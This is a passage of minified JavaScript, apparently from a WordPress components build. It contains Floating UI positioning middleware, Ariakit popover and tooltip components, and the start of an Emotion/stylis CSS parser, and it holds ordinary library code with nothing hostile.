l={scrollLeft:0,scrollTop:0},c=Go(1);const u=Go(0),d=Jo(r);if((d||!d&&!i)&&(("body"!==qo(r)||ti(s))&&(l=li(r)),Jo(r))){const e=vi(r);c=hi(r),u.x=e.x+r.clientLeft,u.y=e.y+r.clientTop}return{width:n.width*c.x,height:n.height*c.y,x:n.x*c.x-l.scrollLeft*c.x+u.x,y:n.y*c.y-l.scrollTop*c.y+u.y}},getDocumentElement:Xo,getClippingRect:function(e){let{element:t,boundary:n,rootBoundary:r,strategy:o}=e;const i="clippingAncestors"===n?function(e,t){const n=t.get(e);if(n)return n;let r=di(e,[],!1).filter((e=>Qo(e)&&"body"!==qo(e))),o=null;const i="fixed"===ai(e).position;let s=i?ci(e):e;for(;Qo(s)&&!si(s);){const t=ai(s),n=oi(s);n||"fixed"!==t.position||(o=null),(i?!n&&!o:!n&&"static"===t.position&&o&&["absolute","fixed"].includes(o.position)||ti(s)&&!n&&_i(e,s))?r=r.filter((e=>e!==s)):o=t,s=ci(s)}return t.set(e,r),r}(t,this._c):[].concat(n),s=[...i,r],a=s[0],l=s.reduce(((e,n)=>{const r=wi(t,n,o);return e.top=Ho(r.top,e.top),e.right=$o(r.right,e.right),e.bottom=$o(r.bottom,e.bottom),e.left=Ho(r.left,e.left),e}),wi(t,a,o));return{width:l.right-l.left,height:l.bottom-l.top,x:l.left,y:l.top}},getOffsetParent:ki,getElementRects:async function(e){const t=this.getOffsetParent||ki,n=this.getDimensions;return{reference:Si(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,...await n(e.floating)}}},getClientRects:function(e){return Array.from(e.getClientRects())},getDimensions:function(e){const{width:t,height:n}=pi(e);return{width:t,height:n}},getScale:hi,isElement:Qo,isRTL:function(e){return"rtl"===ai(e).direction}};function Ei(e,t,n,r){void 0===r&&(r={});const{ancestorScroll:o=!0,ancestorResize:i=!0,elementResize:s="function"==typeof ResizeObserver,layoutShift:a="function"==typeof IntersectionObserver,animationFrame:l=!1}=r,c=fi(e),u=o||i?[...c?di(c):[],...di(t)]:[];u.forEach((e=>{o&&e.addEventListener("scroll",n,{passive:!0}),i&&e.addEventListener("resize",n)}));const d=c&&a?function(e,t){let n,r=null;const o=Xo(e);function i(){var e;clearTimeout(n),null==(e=r)||e.disconnect(),r=null}return function s(a,l){void 0===a&&(a=!1),void 0===l&&(l=1),i();const{left:c,top:u,width:d,height:p}=e.getBoundingClientRect();if(a||t(),!d||!p)return;const f={rootMargin:-Uo(u)+"px "+-Uo(o.clientWidth-(c+d))+"px "+-Uo(o.clientHeight-(u+p))+"px "+-Uo(c)+"px",threshold:Ho(0,$o(1,l))||1};let h=!0;function m(e){const t=e[0].intersectionRatio;if(t!==l){if(!h)return s();t?s(!1,t):n=setTimeout((()=>{s(!1,1e-7)}),100)}h=!1}try{r=new IntersectionObserver(m,{...f,root:o.ownerDocument})}catch(e){r=new IntersectionObserver(m,f)}r.observe(e)}(!0),i}(c,n):null;let p,f=-1,h=null;s&&(h=new ResizeObserver((e=>{let[r]=e;r&&r.target===c&&h&&(h.unobserve(t),cancelAnimationFrame(f),f=requestAnimationFrame((()=>{var e;null==(e=h)||e.observe(t)}))),n()})),c&&!l&&h.observe(c),h.observe(t));let m=l?vi(e):null;return l&&function t(){const r=vi(e);!m||r.x===m.x&&r.y===m.y&&r.width===m.width&&r.height===m.height||n();m=r,p=requestAnimationFrame(t)}(),n(),()=>{var e;u.forEach((e=>{o&&e.removeEventListener("scroll",n),i&&e.removeEventListener("resize",n)})),null==d||d(),null==(e=h)||e.disconnect(),h=null,l&&cancelAnimationFrame(p)}}const Pi=function(e){return void 0===e&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:r,placement:o}=t,{mainAxis:i=!0,crossAxis:s=!1,limiter:a={fn:e=>{let{x:t,y:n}=e;return{x:t,y:n}}},...l}=Po(e,t),c={x:n,y:r},u=await Bo(t,l),d=Mo(No(o)),p=Io(d);let f=c[p],h=c[d];if(i){const e="y"===p?"bottom":"right";f=Eo(f+u["y"===p?"top":"left"],f,f-u[e])}if(s){const e="y"===d?"bottom":"right";h=Eo(h+u["y"===d?"top":"left"],h,h-u[e])}const m=a.fn({...t,[p]:f,[d]:h});return{...m,data:{x:m.x-n,y:m.y-r}}}}},Ni=function(e){return void 0===e&&(e={}),{name:"flip",options:e,async fn(t){var n,r;const{placement:o,middlewareData:i,rects:s,initialPlacement:a,platform:l,elements:c}=t,{mainAxis:u=!0,crossAxis:d=!0,fallbackPlacements:p,fallbackStrategy:f="bestFit",fallbackAxisSideDirection:h="none",flipAlignment:m=!0,...g}=Po(e,t);if(null!=(n=i.arrow)&&n.alignmentOffset)return{};const v=No(o),b=No(a)===a,x=await(null==l.isRTL?void 0:l.isRTL(c.floating)),y=p||(b||!m?[zo(a)]:function(e){const t=zo(e);return[Do(e),t,Do(t)]}(a));p||"none"===h||y.push(...function(e,t,n,r){const o=To(e);let i=function(e,t,n){const r=["left","right"],o=["right","left"],i=["top","bottom"],s=["bottom","top"];switch(e){case"top":case"bottom":return n?t?o:r:t?r:o;case"left":case"right":return t?i:s;default:return[]}}(No(e),"start"===n,r);return o&&(i=i.map((e=>e+"-"+o)),t&&(i=i.concat(i.map(Do)))),i}(a,m,h,x));const w=[a,...y],_=await Bo(t,g),S=[];let C=(null==(r=i.flip)?void 0:r.overflows)||[];if(u&&S.push(_[v]),d){const e=function(e,t,n){void 0===n&&(n=!1);const r=To(e),o=Ao(e),i=Ro(o);let s="x"===o?r===(n?"end":"start")?"right":"left":"start"===r?"bottom":"top";return t.reference[i]>t.floating[i]&&(s=zo(s)),[s,zo(s)]}(o,s,x);S.push(_[e[0]],_[e[1]])}if(C=[...C,{placement:o,overflows:S}],!S.every((e=>e<=0))){var k,j;const e=((null==(k=i.flip)?void 0:k.index)||0)+1,t=w[e];if(t)return{data:{index:e,overflows:C},reset:{placement:t}};let n=null==(j=C.filter((e=>e.overflows[0]<=0)).sort(((e,t)=>e.overflows[1]-t.overflows[1]))[0])?void 0:j.placement;if(!n)switch(f){case"bestFit":{var E;const e=null==(E=C.map((e=>[e.placement,e.overflows.filter((e=>e>0)).reduce(((e,t)=>e+t),0)])).sort(((e,t)=>e[1]-t[1]))[0])?void 0:E[0];e&&(n=e);break}case"initialPlacement":n=a}if(o!==n)return{reset:{placement:n}}}return{}}}},Ti=function(e){return void 0===e&&(e={}),{name:"size",options:e,async fn(t){const{placement:n,rects:r,platform:o,elements:i}=t,{apply:s=()=>{},...a}=Po(e,t),l=await Bo(t,a),c=No(n),u=To(n),d="y"===Mo(n),{width:p,height:f}=r.floating;let h,m;"top"===c||"bottom"===c?(h=c,m=u===(await(null==o.isRTL?void 0:o.isRTL(i.floating))?"start":"end")?"left":"right"):(m=c,h="end"===u?"top":"bottom");const g=f-l[h],v=p-l[m],b=!t.middlewareData.shift;let x=g,y=v;if(d){const e=p-l.left-l.right;y=u||b?So(v,e):e}else{const e=f-l.top-l.bottom;x=u||b?So(g,e):e}if(b&&!u){const e=Co(l.left,0),t=Co(l.right,0),n=Co(l.top,0),r=Co(l.bottom,0);d?y=p-2*(0!==e||0!==t?e+t:Co(l.left,l.right)):x=f-2*(0!==n||0!==r?n+r:Co(l.top,l.bottom))}await s({...t,availableWidth:y,availableHeight:x});const w=await o.getDimensions(i.floating);return p!==w.width||f!==w.height?{reset:{rects:!0}}:{}}}},Ii=e=>({name:"arrow",options:e,async fn(t){const{x:n,y:r,placement:o,rects:i,platform:s,elements:a,middlewareData:l}=t,{element:c,padding:u=0}=Po(e,t)||{};if(null==c)return{};const d=Oo(u),p={x:n,y:r},f=Ao(o),h=Ro(f),m=await s.getDimensions(c),g="y"===f,v=g?"top":"left",b=g?"bottom":"right",x=g?"clientHeight":"clientWidth",y=i.reference[h]+i.reference[f]-p[f]-i.floating[h],w=p[f]-i.reference[f],_=await(null==s.getOffsetParent?void 0:s.getOffsetParent(c));let S=_?_[x]:0;S&&await(null==s.isElement?void 0:s.isElement(_))||(S=a.floating[x]||i.floating[h]);const C=y/2-w/2,k=S/2-m[h]/2-1,j=So(d[v],k),E=So(d[b],k),P=j,N=S-m[h]-E,T=S/2-m[h]/2+C,I=Eo(P,T,N),R=!l.arrow&&null!=To(o)&&T!=I&&i.reference[h]/2-(T<P?j:E)-m[h]/2<0,M=R?T<P?T-P:T-N:0;return{[f]:p[f]+M,data:{[f]:I,centerOffset:T-I-M,...R&&{alignmentOffset:M}},reset:R}}}),Ri=function(e){return void 0===e&&(e={}),{options:e,fn(t){const{x:n,y:r,placement:o,rects:i,middlewareData:s}=t,{offset:a=0,mainAxis:l=!0,crossAxis:c=!0}=Po(e,t),u={x:n,y:r},d=Mo(o),p=Io(d);let f=u[p],h=u[d];const m=Po(a,t),g="number"==typeof m?{mainAxis:m,crossAxis:0}:{mainAxis:0,crossAxis:0,...m};if(l){const e="y"===p?"height":"width",t=i.reference[p]-i.floating[e]+g.mainAxis,n=i.reference[p]+i.reference[e]-g.mainAxis;f<t?f=t:f>n&&(f=n)}if(c){var v,b;const e="y"===p?"width":"height",t=["top","left"].includes(No(o)),n=i.reference[d]-i.floating[e]+(t&&(null==(v=s.offset)?void 0:v[d])||0)+(t?0:g.crossAxis),r=i.reference[d]+i.reference[e]+(t?0:(null==(b=s.offset)?void 0:b[d])||0)-(t?g.crossAxis:0);h<n?h=n:h>r&&(h=r)}return{[p]:f,[d]:h}}}},Mi=(e,t,n)=>{const r=new Map,o={platform:ji,...n},i={...o.platform,_c:r};return(async(e,t,n)=>{const{placement:r="bottom",strategy:o="absolute",middleware:i=[],platform:s}=n,a=i.filter(Boolean),l=await(null==s.isRTL?void 0:s.isRTL(t));let c=await s.getElementRects({reference:e,floating:t,strategy:o}),{x:u,y:d}=Fo(c,r,l),p=r,f={},h=0;for(let n=0;n<a.length;n++){const{name:i,fn:m}=a[n],{x:g,y:v,data:b,reset:x}=await m({x:u,y:d,initialPlacement:r,placement:p,strategy:o,middlewareData:f,rects:c,platform:s,elements:{reference:e,floating:t}});u=null!=g?g:u,d=null!=v?v:d,f={...f,[i]:{...f[i],...b}},x&&h<=50&&(h++,"object"==typeof x&&(x.placement&&(p=x.placement),x.rects&&(c=!0===x.rects?await s.getElementRects({reference:e,floating:t,strategy:o}):x.rects),({x:u,y:d}=Fo(c,p,l))),n=-1)}return{x:u,y:d,placement:p,strategy:o,middlewareData:f}})(e,t,{...o,platform:i})};function Ai(e=0,t=0,n=0,r=0){if("function"==typeof DOMRect)return new DOMRect(e,t,n,r);const o={x:e,y:t,width:n,height:r,top:t,right:e+n,bottom:t+r,left:e};return b(v({},o),{toJSON:()=>o})}function Di(e,t){return{contextElement:e||void 0,getBoundingClientRect:()=>{const n=e,r=null==t?void 0:t(n);return r||!n?function(e){if(!e)return Ai();const{x:t,y:n,width:r,height:o}=e;return Ai(t,n,r,o)}(r):n.getBoundingClientRect()}}}function zi(e){return/^(?:top|bottom|left|right)(?:-(?:start|end))?$/.test(e)}function Oi(e){const t=window.devicePixelRatio||1;return Math.round(e*t)/t}function Li(e,t){return Vo((({placement:n})=>{var r;const o=((null==e?void 0:e.clientHeight)||0)/2,i="number"==typeof t.gutter?t.gutter+o:null!=(r=t.gutter)?r:o;return{crossAxis:!!n.split("-")[1]?void 0:t.shift,mainAxis:i,alignmentAxis:t.shift}}))}function Fi(e){if(!1===e.flip)return;const t="string"==typeof e.flip?e.flip.split(" "):void 0;return D(!t||t.every(zi),!1),Ni({padding:e.overflowPadding,fallbackPlacements:t})}function Bi(e){if(e.slide||e.overlap)return Pi({mainAxis:e.slide,crossAxis:e.overlap,padding:e.overflowPadding,limiter:Ri()})}function Vi(e){return Ti({padding:e.overflowPadding,apply({elements:t,availableWidth:n,availableHeight:r,rects:o}){const i=t.floating,s=Math.round(o.reference.width);n=Math.floor(n),r=Math.floor(r),i.style.setProperty("--popover-anchor-width",`${s}px`),i.style.setProperty("--popover-available-width",`${n}px`),i.style.setProperty("--popover-available-height",`${r}px`),e.sameWidth&&(i.style.width=`${s}px`),e.fitViewport&&(i.style.maxWidth=`${n}px`,i.style.maxHeight=`${r}px`)}})}function $i(e,t){if(e)return Ii({element:e,padding:t.arrowPadding})}var Hi=jt((function(e){var t=e,{store:n,modal:r=!1,portal:o=!!r,preserveTabOrder:i=!0,autoFocusOnShow:s=!0,wrapperProps:a,fixed:l=!1,flip:c=!0,shift:u=0,slide:d=!0,overlap:p=!1,sameWidth:f=!1,fitViewport:h=!1,gutter:m,arrowPadding:g=4,overflowPadding:y=8,getAnchorRect:w,updatePosition:_}=t,S=x(t,["store","modal","portal","preserveTabOrder","autoFocusOnShow","wrapperProps","fixed","flip","shift","slide","overlap","sameWidth","fitViewport","gutter","arrowPadding","overflowPadding","getAnchorRect","updatePosition"]);const C=mr();D(n=n||C,!1);const k=n.useState("arrowElement"),j=n.useState("anchorElement"),E=n.useState("disclosureElement"),P=n.useState("popoverElement"),N=n.useState("contentElement"),T=n.useState("placement"),I=n.useState("mounted"),R=n.useState("rendered"),M=(0,B.useRef)(null),[A,z]=(0,B.useState)(!1),{portalRef:O,domReady:L}=Ae(o,S.portalRef),F=ke(w),V=ke(_),$=!!_;_e((()=>{if(!(null==P?void 0:P.isConnected))return;P.style.setProperty("--popover-overflow-padding",`${y}px`);const e=Di(j,F),t=async()=>{if(!I)return;k||(M.current=M.current||document.createElement("div"));const t=k||M.current,r=[Li(t,{gutter:m,shift:u}),Fi({flip:c,overflowPadding:y}),Bi({slide:d,shift:u,overlap:p,overflowPadding:y}),$i(t,{arrowPadding:g}),Vi({sameWidth:f,fitViewport:h,overflowPadding:y})],o=await Mi(e,P,{placement:T,strategy:l?"fixed":"absolute",middleware:r});null==n||n.setState("currentPlacement",o.placement),z(!0);const i=Oi(o.x),s=Oi(o.y);if(Object.assign(P.style,{top:"0",left:"0",transform:`translate3d(${i}px,${s}px,0)`}),t&&o.middlewareData.arrow){const{x:e,y:n}=o.middlewareData.arrow,r=o.placement.split("-")[0],i=t.clientWidth/2,s=t.clientHeight/2,a=null!=e?e+i:-i,l=null!=n?n+s:-s;P.style.setProperty("--popover-transform-origin",{top:`${a}px calc(100% + ${s}px)`,bottom:`${a}px ${-s}px`,left:`calc(100% + ${i}px) ${l}px`,right:`${-i}px ${l}px`}[r]),Object.assign(t.style,{left:null!=e?`${e}px`:"",top:null!=n?`${n}px`:"",[r]:"100%"})}},r=Ei(e,P,(async()=>{$?(await V({updatePosition:t}),z(!0)):await t()}),{elementResize:"function"==typeof ResizeObserver});return()=>{z(!1),r()}}),[n,R,P,k,j,P,T,I,L,l,c,u,d,p,f,h,m,g,y,F,$,V]),_e((()=>{if(!I)return;if(!L)return;if(!(null==P?void 0:P.isConnected))return;if(!(null==N?void 0:N.isConnected))return;const e=()=>{P.style.zIndex=getComputedStyle(N).zIndex};e();let t=requestAnimationFrame((()=>{t=requestAnimationFrame(e)}));return()=>cancelAnimationFrame(t)}),[I,L,P,N]);const H=l?"fixed":"absolute";return S=Me(S,(e=>(0,_t.jsx)("div",b(v({},a),{style:v({position:H,top:0,left:0,width:"max-content"},null==a?void 0:a.style),ref:null==n?void 0:n.setPopoverElement,children:e}))),[n,H,a]),S=Me(S,(e=>(0,_t.jsx)(vr,{value:n,children:e})),[n]),S=b(v({"data-placing":!A||void 0},S),{style:v({position:"relative"},S.style)}),S=wo(b(v({store:n,modal:r,portal:o,preserveTabOrder:i,preserveTabOrderAnchor:E||j,autoFocusOnShow:A&&s},S),{portalRef:O}))}));_o(St((function(e){return kt("div",Hi(e))})),mr);function Wi(e,t,n,r){return!!Kt(t)||!!e&&(!!X(t,e)||(!(!n||!X(n,e))||!!(null==r?void 0:r.some((t=>Wi(e,t,n))))))}var Ui=(0,B.createContext)(null),Gi=jt((function(e){var t=e,{store:n,modal:r=!1,portal:o=!!r,hideOnEscape:i=!0,hideOnHoverOutside:s=!0,disablePointerEventsOnApproach:a=!!s}=t,l=x(t,["store","modal","portal","hideOnEscape","hideOnHoverOutside","disablePointerEventsOnApproach"]);const c=xr();D(n=n||c,!1);const u=(0,B.useRef)(null),[d,p]=(0,B.useState)([]),f=(0,B.useRef)(0),h=(0,B.useRef)(null),{portalRef:m,domReady:g}=Ae(o,l.portalRef),y=ze(),w=!!s,_=Re(s),S=!!a,C=Re(a),k=n.useState("open"),j=n.useState("mounted");(0,B.useEffect)((()=>{if(!g)return;if(!j)return;if(!w&&!S)return;const e=u.current;if(!e)return;return M(be("mousemove",(t=>{if(!n)return;if(!y())return;const{anchorElement:r,hideTimeout:o,timeout:i}=n.getState(),s=h.current,[a]=t.composedPath(),l=r;if(Wi(a,e,l,d))return h.current=a&&l&&X(l,a)?Tr(t):null,window.clearTimeout(f.current),void(f.current=0);if(!f.current){if(s){const n=Tr(t);if(Ir(n,Rr(e,s))){if(h.current=n,!C(t))return;return t.preventDefault(),void t.stopPropagation()}}_(t)&&(f.current=window.setTimeout((()=>{f.current=0,null==n||n.hide()}),null!=o?o:i))}}),!0),(()=>clearTimeout(f.current)))}),[n,y,g,j,w,S,d,C,_]),(0,B.useEffect)((()=>{if(!g)return;if(!j)return;if(!S)return;const e=e=>{const t=u.current;if(!t)return;const n=h.current;if(!n)return;const r=Rr(t,n);if(Ir(Tr(e),r)){if(!C(e))return;e.preventDefault(),e.stopPropagation()}};return M(be("mouseenter",e,!0),be("mouseover",e,!0),be("mouseout",e,!0),be("mouseleave",e,!0))}),[g,j,S,C]),(0,B.useEffect)((()=>{g&&(k||null==n||n.setAutoFocusOnShow(!1))}),[n,g,k]);const E=Ce(k);(0,B.useEffect)((()=>{if(g)return()=>{E.current||null==n||n.setAutoFocusOnShow(!1)}}),[n,g]);const P=(0,B.useContext)(Ui);_e((()=>{if(r)return;if(!o)return;if(!j)return;if(!g)return;const e=u.current;return e?null==P?void 0:P(e):void 0}),[r,o,j,g]);const N=(0,B.useCallback)((e=>{p((t=>[...t,e]));const t=null==P?void 0:P(e);return()=>{p((t=>t.filter((t=>t!==e)))),null==t||t()}}),[P]);l=Me(l,(e=>(0,_t.jsx)(wr,{value:n,children:(0,_t.jsx)(Ui.Provider,{value:N,children:e})})),[n,N]),l=b(v({},l),{ref:Ee(u,l.ref)}),l=function(e){var t=e,{store:n}=t,r=x(t,["store"]);const[o,i]=(0,B.useState)(!1),s=n.useState("mounted");(0,B.useEffect)((()=>{s||i(!1)}),[s]);const a=r.onFocus,l=ke((e=>{null==a||a(e),e.defaultPrevented||i(!0)})),c=(0,B.useRef)(null);return(0,B.useEffect)((()=>Ke(n,["anchorElement"],(e=>{c.current=e.anchorElement}))),[]),b(v({autoFocusOnHide:o,finalFocus:c},r),{onFocus:l})}(v({store:n},l));const T=n.useState((e=>r||e.autoFocusOnShow));return l=Hi(b(v({store:n,modal:r,portal:o,autoFocusOnShow:T},l),{portalRef:m,hideOnEscape:e=>!z(i,e)&&(requestAnimationFrame((()=>{requestAnimationFrame((()=>{null==n||n.hide()}))})),!0)}))})),Ki=(_o(St((function(e){return kt("div",Gi(e))})),xr),jt((function(e){var t=e,{store:n,portal:r=!0,gutter:o=8,preserveTabOrder:i=!1,hideOnHoverOutside:s=!0,hideOnInteractOutside:a=!0}=t,l=x(t,["store","portal","gutter","preserveTabOrder","hideOnHoverOutside","hideOnInteractOutside"]);const c=Cr();D(n=n||c,!1),l=Me(l,(e=>(0,_t.jsx)(kr,{value:n,children:e})),[n]);const u=n.useState((e=>"description"===e.type?"tooltip":"none"));return l=v({role:u},l),l=Gi(b(v({},l),{store:n,portal:r,gutter:o,preserveTabOrder:i,hideOnHoverOutside(e){if(z(s,e))return!1;const t=null==n?void 0:n.getState().anchorElement;return!t||!("focusVisible"in t.dataset)},hideOnInteractOutside:e=>{if(z(a,e))return!1;const t=null==n?void 0:n.getState().anchorElement;return!t||!X(t,e.target)}}))}))),qi=_o(St((function(e){return kt("div",Ki(e))})),Cr);const Yi=window.wp.deprecated;var Xi=o.n(Yi);const Zi=function(e){const{shortcut:t,className:n}=e;if(!t)return null;let r,o;return"string"==typeof t&&(r=t),null!==t&&"object"==typeof t&&(r=t.display,o=t.ariaLabel),(0,_t.jsx)("span",{className:n,"aria-label":o,children:r})},Qi={bottom:"bottom",top:"top","middle left":"left","middle right":"right","bottom left":"bottom-end","bottom center":"bottom","bottom right":"bottom-start","top left":"top-end","top center":"top","top right":"top-start","middle left left":"left","middle left right":"left","middle left bottom":"left-end","middle left top":"left-start","middle right left":"right","middle right right":"right","middle right bottom":"right-end","middle right top":"right-start","bottom left left":"bottom-end","bottom left right":"bottom-end","bottom left bottom":"bottom-end","bottom left top":"bottom-end","bottom center left":"bottom","bottom center right":"bottom","bottom center bottom":"bottom","bottom center top":"bottom","bottom right left":"bottom-start","bottom right right":"bottom-start","bottom right bottom":"bottom-start","bottom right top":"bottom-start","top left left":"top-end","top left right":"top-end","top left bottom":"top-end","top left top":"top-end","top center left":"top","top center right":"top","top center bottom":"top","top center top":"top","top right left":"top-start","top right right":"top-start","top right bottom":"top-start","top right top":"top-start",middle:"bottom","middle center":"bottom","middle center bottom":"bottom","middle center left":"bottom","middle center right":"bottom","middle center top":"bottom"},Ji=e=>{var t;return null!==(t=Qi[e])&&void 0!==t?t:"bottom"},es={top:{originX:.5,originY:1},"top-start":{originX:0,originY:1},"top-end":{originX:1,originY:1},right:{originX:0,originY:.5},"right-start":{originX:0,originY:0},"right-end":{originX:0,originY:1},bottom:{originX:.5,originY:0},"bottom-start":{originX:0,originY:0},"bottom-end":{originX:1,originY:0},left:{originX:1,originY:.5},"left-start":{originX:1,originY:0},"left-end":{originX:1,originY:1},overlay:{originX:.5,originY:.5}};const ts=e=>null===e||Number.isNaN(e)?void 0:Math.round(e),ns=(0,c.createContext)({isNestedInTooltip:!1}),rs=700,os={isNestedInTooltip:!0};const is=(0,c.forwardRef)((function(e,t){const{children:n,className:r,delay:o=rs,hideOnClick:i=!0,placement:a,position:u,shortcut:d,text:p,...f}=e,{isNestedInTooltip:h}=(0,c.useContext)(ns),m=(0,l.useInstanceId)(is,"tooltip"),g=p||d?m:void 0,v=1===c.Children.count(n);let b;void 0!==a?b=a:void 0!==u&&(b=Ji(u),Xi()("`position` prop in wp.components.tooltip",{since:"6.4",alternative:"`placement` prop"})),b=b||"bottom";const x=rr({placement:b,showTimeout:o}),y=et(x,"mounted");return h?v?(0,_t.jsx)(or,{...f,render:n}):n:(0,_t.jsxs)(ns.Provider,{value:os,children:[(0,_t.jsx)(Nr,{onClick:i?x.hide:void 0,store:x,render:v?(w=n,g&&y&&void 0===w.props["aria-describedby"]&&w.props["aria-label"]!==p?(0,c.cloneElement)(w,{"aria-describedby":g}):w):void 0,ref:t,children:v?void 0:n}),v&&(p||d)&&(0,_t.jsxs)(qi,{...f,className:s("components-tooltip",r),unmountOnHide:!0,gutter:4,id:g,overflowPadding:.5,store:x,children:[p,d&&(0,_t.jsx)(Zi,{className:p?"components-tooltip__shortcut":"",shortcut:d})]})]});var w})),ss=is;window.wp.warning;var as=o(66),ls=o.n(as),cs=o(7734),us=o.n(cs); /*! * is-plain-object <https://github.com/jonschlinkert/is-plain-object> * * Copyright (c) 2014-2017, Jon Schlinkert. * Released under the MIT License. */ function ds(e){return"[object Object]"===Object.prototype.toString.call(e)}function ps(e){var t,n;return!1!==ds(e)&&(void 0===(t=e.constructor)||!1!==ds(n=t.prototype)&&!1!==n.hasOwnProperty("isPrototypeOf"))}const fs=function(e,t){const n=(0,c.useRef)(!1);(0,c.useEffect)((()=>{if(n.current)return e();n.current=!0}),t),(0,c.useEffect)((()=>()=>{n.current=!1}),[])},hs=(0,c.createContext)({}),ms=()=>(0,c.useContext)(hs);const gs=(0,c.memo)((({children:e,value:t})=>{const n=function({value:e}){const t=ms(),n=(0,c.useRef)(e);return fs((()=>{us()(n.current,e)&&n.current}),[e]),(0,c.useMemo)((()=>ls()(null!=t?t:{},null!=e?e:{},{isMergeableObject:ps})),[t,e])}({value:t});return(0,_t.jsx)(hs.Provider,{value:n,children:e})})),vs="data-wp-component",bs="data-wp-c16t",xs="__contextSystemKey__";var ys=function(){return ys=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e},ys.apply(this,arguments)};Object.create;Object.create;"function"==typeof SuppressedError&&SuppressedError;function ws(e){return e.toLowerCase()}var _s=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],Ss=/[^A-Z0-9]+/gi;function Cs(e,t,n){return t instanceof RegExp?e.replace(t,n):t.reduce((function(e,t){return e.replace(t,n)}),e)}function ks(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var n=t.splitRegexp,r=void 0===n?_s:n,o=t.stripRegexp,i=void 0===o?Ss:o,s=t.transform,a=void 0===s?ws:s,l=t.delimiter,c=void 0===l?" ":l,u=Cs(Cs(e,r,"$1\0$2"),i,"\0"),d=0,p=u.length;"\0"===u.charAt(d);)d++;for(;"\0"===u.charAt(p-1);)p--;return u.slice(d,p).split("\0").map(a).join(c)}(e,ys({delimiter:"."},t))}function js(e,t){return void 0===t&&(t={}),ks(e,ys({delimiter:"-"},t))}function Es(e,t){var n,r,o=0;function i(){var i,s,a=n,l=arguments.length;e:for(;a;){if(a.args.length===arguments.length){for(s=0;s<l;s++)if(a.args[s]!==arguments[s]){a=a.next;continue e}return a!==n&&(a===r&&(r=a.prev),a.prev.next=a.next,a.next&&(a.next.prev=a.prev),a.next=n,a.prev=null,n.prev=a,n=a),a.val}a=a.next}for(i=new Array(l),s=0;s<l;s++)i[s]=arguments[s];return a={args:i,val:e.apply(null,i)},n?(n.prev=a,a.next=n):r=a,o===t.maxSize?(r=r.prev).next=null:o++,n=a,a.val}return t=t||{},i.clear=function(){n=null,r=null,o=0},i}const Ps=Es((function(e){return`components-${js(e)}`}));var Ns=function(){function e(e){var t=this;this._insertTag=function(e){var n;n=0===t.tags.length?t.insertionPoint?t.insertionPoint.nextSibling:t.prepend?t.container.firstChild:t.before:t.tags[t.tags.length-1].nextSibling,t.container.insertBefore(e,n),t.tags.push(e)},this.isSpeedy=void 0===e.speedy||e.speedy,this.tags=[],this.ctr=0,this.nonce=e.nonce,this.key=e.key,this.container=e.container,this.prepend=e.prepend,this.insertionPoint=e.insertionPoint,this.before=null}var t=e.prototype;return t.hydrate=function(e){e.forEach(this._insertTag)},t.insert=function(e){this.ctr%(this.isSpeedy?65e3:1)==0&&this._insertTag(function(e){var t=document.createElement("style");return t.setAttribute("data-emotion",e.key),void 0!==e.nonce&&t.setAttribute("nonce",e.nonce),t.appendChild(document.createTextNode("")),t.setAttribute("data-s",""),t}(this));var t=this.tags[this.tags.length-1];if(this.isSpeedy){var n=function(e){if(e.sheet)return e.sheet;for(var t=0;t<document.styleSheets.length;t++)if(document.styleSheets[t].ownerNode===e)return document.styleSheets[t]}(t);try{n.insertRule(e,n.cssRules.length)}catch(e){0}}else t.appendChild(document.createTextNode(e));this.ctr++},t.flush=function(){this.tags.forEach((function(e){return e.parentNode&&e.parentNode.removeChild(e)})),this.tags=[],this.ctr=0},e}(),Ts=Math.abs,Is=String.fromCharCode,Rs=Object.assign;function Ms(e){return e.trim()}function As(e,t,n){return e.replace(t,n)}function Ds(e,t){return e.indexOf(t)}function zs(e,t){return 0|e.charCodeAt(t)}function Os(e,t,n){return e.slice(t,n)}function Ls(e){return e.length}function Fs(e){return e.length}function Bs(e,t){return t.push(e),e}var Vs=1,$s=1,Hs=0,Ws=0,Us=0,Gs="";function Ks(e,t,n,r,o,i,s){return{value:e,root:t,parent:n,type:r,props:o,children:i,line:Vs,column:$s,length:s,return:""}}function qs(e,t){return Rs(Ks("",null,null,"",null,null,0),e,{length:-e.length},t)}function Ys(){return Us=Ws>0?zs(Gs,--Ws):0,$s--,10===Us&&($s=1,Vs--),Us}function Xs(){return Us=Ws<Hs?zs(Gs,Ws++):0,$s++,10===Us&&($s=1,Vs++),Us}function Zs(){return zs(Gs,Ws)}function Qs(){return Ws}function Js(e,t){return Os(Gs,e,t)}function ea(e){switch(e){case 0:case 9:case 10:case 13:case 32:return 5;case 33:case 43:case 44:case 47:case 62:case 64:case 126:case 59:case 123:case 125:return 4;case 58:return 3;case 34:case 39:case 40:case 91:return 2;case 41:case 93:return 1}return 0}function ta(e){return Vs=$s=1,Hs=Ls(Gs=e),Ws=0,[]}function na(e){return Gs="",e}function ra(e){return Ms(Js(Ws-1,sa(91===e?e+2:40===e?e+1:e)))}function oa(e){for(;(Us=Zs())&&Us<33;)Xs();return ea(e)>2||ea(Us)>3?"":" "}function ia(e,t){for(;--t&&Xs()&&!(Us<48||Us>102||Us>57&&Us<65||Us>70&&Us<97););return Js(e,Qs()+(t<6&&32==Zs()&&32==Xs()))}function sa(e){for(;Xs();)switch(Us){case e:return Ws;case 34:case 39:34!==e&&39!==e&&sa(Us);break;case 40:41===e&&sa(e);break;case 92:Xs()}return Ws}function aa(e,t){for(;Xs()&&e+Us!==57&&(e+Us!==84||47!==Zs()););return"/*"+Js(t,Ws-1)+"*"+Is(47===e?e:Xs())}function la(e){for(;!ea(Zs());)Xs();return Js(e,Ws)}var ca="-ms-",ua="-moz-",da="-webkit-",pa="comm",fa="rule",ha="decl",ma="@keyframes";function ga(e,t){for(var n="",r=Fs(e),o=0;o<r;o++)n+=t(e[o],o,e,t)||"";return n}function va(e,t,n,r){switch(e.type){case"@import":case ha:return e.return=e.return||e.value;case pa:return"";case ma:return e.return=e.value+"{"+ga(e.children,r)+"}";case fa:e.value=e.props.join(",")}return Ls(n=ga(e.children,r))?e.return=e.value+"{"+n+"}":""}function ba(e){return na(xa("",null,null,null,[""],e=ta(e),0,[0],e))}function 